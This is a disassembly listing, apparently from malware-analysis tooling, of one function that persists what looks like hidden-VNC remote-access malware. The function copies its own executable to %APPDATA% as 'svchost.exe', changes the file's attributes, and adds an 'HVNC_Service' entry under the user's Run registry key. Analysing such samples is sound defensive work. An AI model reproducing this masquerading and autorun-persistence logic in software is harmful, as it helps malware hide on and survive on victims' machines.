Function at 0x140012790
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rax, qword [0x140075030]
xor rax, rsp
mov qword [rbp + 0x400], rax
xor r13d, r13d
mov dword [rsp + 0x40], r13d
cmp dword [str.True], 0x65757274
jne 0x140012e83
mov r8d, 0x400
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], r13
mov ecx, r13d
test eax, eax
cmovg ecx, eax
movsxd r8, ecx
lea rdx, [rbp]
lea rcx, [rbp - 0x48]
call fcn.140007f00
nop
lea rcx, str.APPDATA
call fcn.140028b34
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140012840
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140007f00
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp - 0x18]
sub rax, rcx
cmp rax, 0xc
jb 0x140012eb9
lea r9, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae r9, qword [rbp - 0x28]
mov qword [rsp + 0x30], 0xc
lea rax, str._svchost.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x68]
call fcn.140008590
nop
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rdx, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x58]
lea rcx, [rbp - 0x68]
mov rbx, qword [rbp - 0x68]
mov r14, qword [rbp - 0x50]
cmp r14, 0x10
cmovae rcx, rbx
cmp rdi, qword [rbp - 0x38]
jne 0x1400128e0
mov r8, rdi
call fcn.140020ee0
test eax, eax
je 0x140012d72
lea rax, [rsp + 0x68]
mov qword [rbp - 0x78], rax
lea rsi, [rbp - 0x68]
cmp r14, 0x10
cmovae rsi, rbx
call fcn.14001cb94
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov r15d, 7
mov qword [rbp - 0x80], r15
mov word [rsp + 0x68], r13w
mov dword [rsp + 0x40], socket
test rdi, rdi
je 0x140012999
cmp rdi, 0x7fffffff
ja 0x140012ebf
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140012ec5
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x68]
call fcn.140005e50
lea r9, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae r9, qword [rsp + 0x68]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.14001cbbc
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140012ed1
mov ebx, 0xf
lea rcx, [rsp + 0x68]
call fcn.140004240
movzx edi, al
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x1400129ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400129e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012edb
call fcn.14001e740
test dil, dil
je 0x140012b22
lea rax, [rsp + 0x48]
mov qword [rbp - 0x78], rax
mov rdi, qword [rbp - 0x58]
lea rsi, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rsi, qword [rbp - 0x68]
call fcn.14001cb94
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov rdx, r15
mov qword [rsp + 0x60], rdx
mov word [rsp + 0x48], r13w
mov dword [rsp + 0x40], 0x200f
test rdi, rdi
je 0x140012ab8
cmp rdi, 0x7fffffff
ja 0x140012ee1
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140012ee7
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x48]
call fcn.140005e50
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae r9, qword [rsp + 0x48]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.14001cbbc
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140012ef3
mov rdx, qword [rsp + 0x60]
mov ebx, 0x180f
lea rcx, [rsp + 0x48]
cmp rdx, 8
cmovae rcx, qword [rsp + 0x48]
call fcn.14001d534
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140012efd
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140012b22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012b1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012f13
call fcn.14001e740
lea rax, [rsp + 0x68]
mov qword [rbp - 0x78], rax
mov rsi, qword [rbp - 0x58]
lea r14, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae r14, qword [rbp - 0x68]
call fcn.14001cb94
mov r12d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r15
mov word [rsp + 0x68], r13w
bts ebx, 7
mov dword [rsp + 0x40], ebx
test rsi, rsi
je 0x140012bdb
cmp rsi, 0x7fffffff
ja 0x140012f19
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, esi
mov rdx, r14
mov ecx, eax
call fcn.14001cbbc
mov rdi, rax
shr rax, 0x20
test eax, eax
jne 0x140012f1f
xor r8d, r8d
movsxd rdx, edi
lea rcx, [rsp + 0x68]
call fcn.140005e50
lea r9, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae r9, qword [rsp + 0x68]
mov dword [rsp + 0x20], edi
mov r8d, esi
mov rdx, r14
mov ecx, r12d
call fcn.14001cbbc
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140012f2b
btr ebx, 7
or ebx, 0x60
lea rax, [rsp + 0x48]
mov qword [rbp - 0x78], rax
mov rdi, qword [rbp - 0x38]
lea rsi, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rsi, qword [rbp - 0x48]
call fcn.14001cb94
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r15
mov word [rsp + 0x48], r13w
bts ebx, 0xa
mov dword [rsp + 0x40], ebx
test rdi, rdi
je 0x140012ca2
cmp rdi, 0x7fffffff
ja 0x140012f35
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140012f3b
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x48]
call fcn.140005e50
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae r9, qword [rsp + 0x48]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.14001cbbc
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140012f47
mov r15, qword [rsp + 0x60]
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x48]
cmp r15, 8
cmovae rcx, qword [rsp + 0x48]
mov r8d, 2
call fcn.14001cdf4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140012f51
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140012d1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012d18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012f6c
call fcn.14001e740
movdqa xmm0, xmmword [0x14006d920]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r13w
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x140012d72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012d6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012f72
call fcn.14001e740
mov qword [rbp - 0x70], r13
lea r8, [rbp - 0x70]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [rbp - 0x58]
inc eax
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.HVNC_Service
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140012e00
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012dfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012f78
call fcn.14001e740
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140012e4c
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012e46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012f7e
call fcn.14001e740
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140012e83
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012e7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012eb3
call fcn.14001e740
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.14001e530
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140025808
nop
call fcn.1400012d0
nop
call fcn.1400017d0
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140001ab0
int3
shr rcx, 0x20
call fcn.140001ab0
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140001ab0
int3
shr rcx, 0x20
call fcn.140001ab0
nop
shr rdx, 0x20
lea r8, [rsp + 0x48]
lea rcx, str.remove
call fcn.1400040f0
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
shr rdi, 0x20
mov ecx, edi
call fcn.140001ab0
int3
shr rcx, 0x20
call fcn.140001ab0
nop
call fcn.1400017d0
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140001ab0
int3
shr rcx, 0x20
call fcn.140001ab0
nop
shr rdx, 0x20
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x48]
lea rcx, str.copy_file
call fcn.140004160
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
int3